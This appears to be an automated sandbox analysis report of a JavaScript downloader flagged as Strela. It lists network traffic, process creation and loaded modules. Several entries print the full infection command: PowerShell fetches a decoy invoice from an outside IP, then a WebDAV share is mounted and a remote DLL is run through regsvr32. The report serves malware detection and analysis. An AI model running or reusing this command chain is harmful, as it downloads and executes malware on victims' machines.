Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49788

Source: global traffic

TCP traffic: 192.168.2.9:49788 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.9:52168 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49772 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1328547693.00000234C0DB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1453607406.0000028FED1FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453607406.0000028FED1E4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453607406.0000028FED1A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1453607406.0000028FED1E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/T
Source: net.exe, 00000007.00000002.1453607406.0000028FED1E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/p
Source: net.exe, 00000007.00000002.1453607406.0000028FED1A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.2615988124.0000025BDFC0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1463936525.0000025BDFE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1756, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 4623256121503424814.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4348:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3f4pm3yb.h3h.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4623256121503424814.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1624,i,9409475353304453374,4353992892144085622,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1624,i,9409475353304453374,4353992892144085622,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
